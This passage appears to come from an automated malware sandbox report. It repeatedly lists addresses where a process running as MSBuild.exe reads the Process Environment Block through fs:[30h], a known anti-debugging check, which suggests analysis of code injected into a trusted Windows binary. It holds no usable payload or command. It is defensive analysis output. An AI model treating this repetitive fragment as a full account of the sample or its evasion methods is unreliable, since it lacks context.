                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D930B mov eax, dword ptr fs:[00000030h]8_2_013D930B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D930B mov eax, dword ptr fs:[00000030h]8_2_013D930B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D930B mov eax, dword ptr fs:[00000030h]8_2_013D930B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013F437C mov eax, dword ptr fs:[00000030h]8_2_013F437C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01357370 mov eax, dword ptr fs:[00000030h]8_2_01357370
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01357370 mov eax, dword ptr fs:[00000030h]8_2_01357370
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01357370 mov eax, dword ptr fs:[00000030h]8_2_01357370
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D035C mov eax, dword ptr fs:[00000030h]8_2_013D035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D035C mov eax, dword ptr fs:[00000030h]8_2_013D035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D035C mov eax, dword ptr fs:[00000030h]8_2_013D035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D035C mov ecx, dword ptr fs:[00000030h]8_2_013D035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D035C mov eax, dword ptr fs:[00000030h]8_2_013D035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D035C mov eax, dword ptr fs:[00000030h]8_2_013D035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01349353 mov eax, dword ptr fs:[00000030h]8_2_01349353
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01349353 mov eax, dword ptr fs:[00000030h]8_2_01349353
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141132D mov eax, dword ptr fs:[00000030h]8_2_0141132D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141132D mov eax, dword ptr fs:[00000030h]8_2_0141132D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D2349 mov eax, dword ptr fs:[00000030h]8_2_013D2349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134D34C mov eax, dword ptr fs:[00000030h]8_2_0134D34C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134D34C mov eax, dword ptr fs:[00000030h]8_2_0134D34C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140C3CD mov eax, dword ptr fs:[00000030h]8_2_0140C3CD
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140B3D0 mov ecx, dword ptr fs:[00000030h]8_2_0140B3D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013733A5 mov eax, dword ptr fs:[00000030h]8_2_013733A5
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013833A0 mov eax, dword ptr fs:[00000030h]8_2_013833A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013833A0 mov eax, dword ptr fs:[00000030h]8_2_013833A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013A739A mov eax, dword ptr fs:[00000030h]8_2_013A739A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013A739A mov eax, dword ptr fs:[00000030h]8_2_013A739A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01348397 mov eax, dword ptr fs:[00000030h]8_2_01348397
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01348397 mov eax, dword ptr fs:[00000030h]8_2_01348397
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01348397 mov eax, dword ptr fs:[00000030h]8_2_01348397
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140F3E6 mov eax, dword ptr fs:[00000030h]8_2_0140F3E6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137438F mov eax, dword ptr fs:[00000030h]8_2_0137438F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137438F mov eax, dword ptr fs:[00000030h]8_2_0137438F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134E388 mov eax, dword ptr fs:[00000030h]8_2_0134E388
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134E388 mov eax, dword ptr fs:[00000030h]8_2_0134E388
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134E388 mov eax, dword ptr fs:[00000030h]8_2_0134E388
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014253FC mov eax, dword ptr fs:[00000030h]8_2_014253FC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136E3F0 mov eax, dword ptr fs:[00000030h]8_2_0136E3F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136E3F0 mov eax, dword ptr fs:[00000030h]8_2_0136E3F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136E3F0 mov eax, dword ptr fs:[00000030h]8_2_0136E3F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013863FF mov eax, dword ptr fs:[00000030h]8_2_013863FF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0142539D mov eax, dword ptr fs:[00000030h]8_2_0142539D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013603E9 mov eax, dword ptr fs:[00000030h]8_2_013603E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013603E9 mov eax, dword ptr fs:[00000030h]8_2_013603E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013603E9 mov eax, dword ptr fs:[00000030h]8_2_013603E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013603E9 mov eax, dword ptr fs:[00000030h]8_2_013603E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013603E9 mov eax, dword ptr fs:[00000030h]8_2_013603E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013603E9 mov eax, dword ptr fs:[00000030h]8_2_013603E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013603E9 mov eax, dword ptr fs:[00000030h]8_2_013603E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013603E9 mov eax, dword ptr fs:[00000030h]8_2_013603E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A3C0 mov eax, dword ptr fs:[00000030h]8_2_0135A3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A3C0 mov eax, dword ptr fs:[00000030h]8_2_0135A3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A3C0 mov eax, dword ptr fs:[00000030h]8_2_0135A3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A3C0 mov eax, dword ptr fs:[00000030h]8_2_0135A3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A3C0 mov eax, dword ptr fs:[00000030h]8_2_0135A3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A3C0 mov eax, dword ptr fs:[00000030h]8_2_0135A3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013583C0 mov eax, dword ptr fs:[00000030h]8_2_013583C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013583C0 mov eax, dword ptr fs:[00000030h]8_2_013583C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013583C0 mov eax, dword ptr fs:[00000030h]8_2_013583C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013583C0 mov eax, dword ptr fs:[00000030h]8_2_013583C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D63C0 mov eax, dword ptr fs:[00000030h]8_2_013D63C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134823B mov eax, dword ptr fs:[00000030h]8_2_0134823B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140B256 mov eax, dword ptr fs:[00000030h]8_2_0140B256
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140B256 mov eax, dword ptr fs:[00000030h]8_2_0140B256
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141D26B mov eax, dword ptr fs:[00000030h]8_2_0141D26B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141D26B mov eax, dword ptr fs:[00000030h]8_2_0141D26B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01387208 mov eax, dword ptr fs:[00000030h]8_2_01387208
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01387208 mov eax, dword ptr fs:[00000030h]8_2_01387208
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400274 mov eax, dword ptr fs:[00000030h]8_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01379274 mov eax, dword ptr fs:[00000030h]8_2_01379274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01391270 mov eax, dword ptr fs:[00000030h]8_2_01391270
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01391270 mov eax, dword ptr fs:[00000030h]8_2_01391270
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01354260 mov eax, dword ptr fs:[00000030h]8_2_01354260
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01354260 mov eax, dword ptr fs:[00000030h]8_2_01354260
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01354260 mov eax, dword ptr fs:[00000030h]8_2_01354260
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134826B mov eax, dword ptr fs:[00000030h]8_2_0134826B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134A250 mov eax, dword ptr fs:[00000030h]8_2_0134A250
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01425227 mov eax, dword ptr fs:[00000030h]8_2_01425227
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01356259 mov eax, dword ptr fs:[00000030h]8_2_01356259
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01349240 mov eax, dword ptr fs:[00000030h]8_2_01349240
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01349240 mov eax, dword ptr fs:[00000030h]8_2_01349240
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138724D mov eax, dword ptr fs:[00000030h]8_2_0138724D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D8243 mov eax, dword ptr fs:[00000030h]8_2_013D8243
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D8243 mov ecx, dword ptr fs:[00000030h]8_2_013D8243
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D92BC mov eax, dword ptr fs:[00000030h]8_2_013D92BC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D92BC mov eax, dword ptr fs:[00000030h]8_2_013D92BC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D92BC mov ecx, dword ptr fs:[00000030h]8_2_013D92BC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D92BC mov ecx, dword ptr fs:[00000030h]8_2_013D92BC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013602A0 mov eax, dword ptr fs:[00000030h]8_2_013602A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013602A0 mov eax, dword ptr fs:[00000030h]8_2_013602A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013652A0 mov eax, dword ptr fs:[00000030h]8_2_013652A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013652A0 mov eax, dword ptr fs:[00000030h]8_2_013652A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013652A0 mov eax, dword ptr fs:[00000030h]8_2_013652A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013652A0 mov eax, dword ptr fs:[00000030h]8_2_013652A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E62A0 mov eax, dword ptr fs:[00000030h]8_2_013E62A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E62A0 mov ecx, dword ptr fs:[00000030h]8_2_013E62A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E62A0 mov eax, dword ptr fs:[00000030h]8_2_013E62A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E62A0 mov eax, dword ptr fs:[00000030h]8_2_013E62A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E62A0 mov eax, dword ptr fs:[00000030h]8_2_013E62A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E62A0 mov eax, dword ptr fs:[00000030h]8_2_013E62A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E72A0 mov eax, dword ptr fs:[00000030h]8_2_013E72A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E72A0 mov eax, dword ptr fs:[00000030h]8_2_013E72A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014252E2 mov eax, dword ptr fs:[00000030h]8_2_014252E2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138329E mov eax, dword ptr fs:[00000030h]8_2_0138329E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138329E mov eax, dword ptr fs:[00000030h]8_2_0138329E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED mov eax, dword ptr fs:[00000030h]8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140F2F8 mov eax, dword ptr fs:[00000030h]8_2_0140F2F8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138E284 mov eax, dword ptr fs:[00000030h]8_2_0138E284
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138E284 mov eax, dword ptr fs:[00000030h]8_2_0138E284
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D0283 mov eax, dword ptr fs:[00000030h]8_2_013D0283
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D0283 mov eax, dword ptr fs:[00000030h]8_2_013D0283
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D0283 mov eax, dword ptr fs:[00000030h]8_2_013D0283
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01425283 mov eax, dword ptr fs:[00000030h]8_2_01425283
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013492FF mov eax, dword ptr fs:[00000030h]8_2_013492FF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013602E1 mov eax, dword ptr fs:[00000030h]8_2_013602E1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013602E1 mov eax, dword ptr fs:[00000030h]8_2_013602E1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013602E1 mov eax, dword ptr fs:[00000030h]8_2_013602E1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F2D0 mov eax, dword ptr fs:[00000030h]8_2_0137F2D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F2D0 mov eax, dword ptr fs:[00000030h]8_2_0137F2D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014192A6 mov eax, dword ptr fs:[00000030h]8_2_014192A6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014192A6 mov eax, dword ptr fs:[00000030h]8_2_014192A6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014192A6 mov eax, dword ptr fs:[00000030h]8_2_014192A6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014192A6 mov eax, dword ptr fs:[00000030h]8_2_014192A6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134B2D3 mov eax, dword ptr fs:[00000030h]8_2_0134B2D3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134B2D3 mov eax, dword ptr fs:[00000030h]8_2_0134B2D3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134B2D3 mov eax, dword ptr fs:[00000030h]8_2_0134B2D3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013592C5 mov eax, dword ptr fs:[00000030h]8_2_013592C5
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013592C5 mov eax, dword ptr fs:[00000030h]8_2_013592C5
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A2C3 mov eax, dword ptr fs:[00000030h]8_2_0135A2C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A2C3 mov eax, dword ptr fs:[00000030h]8_2_0135A2C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A2C3 mov eax, dword ptr fs:[00000030h]8_2_0135A2C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A2C3 mov eax, dword ptr fs:[00000030h]8_2_0135A2C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135A2C3 mov eax, dword ptr fs:[00000030h]8_2_0135A2C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137B2C0 mov eax, dword ptr fs:[00000030h]8_2_0137B2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137B2C0 mov eax, dword ptr fs:[00000030h]8_2_0137B2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137B2C0 mov eax, dword ptr fs:[00000030h]8_2_0137B2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137B2C0 mov eax, dword ptr fs:[00000030h]8_2_0137B2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137B2C0 mov eax, dword ptr fs:[00000030h]8_2_0137B2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137B2C0 mov eax, dword ptr fs:[00000030h]8_2_0137B2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137B2C0 mov eax, dword ptr fs:[00000030h]8_2_0137B2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135D534 mov eax, dword ptr fs:[00000030h]8_2_0135D534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135D534 mov eax, dword ptr fs:[00000030h]8_2_0135D534
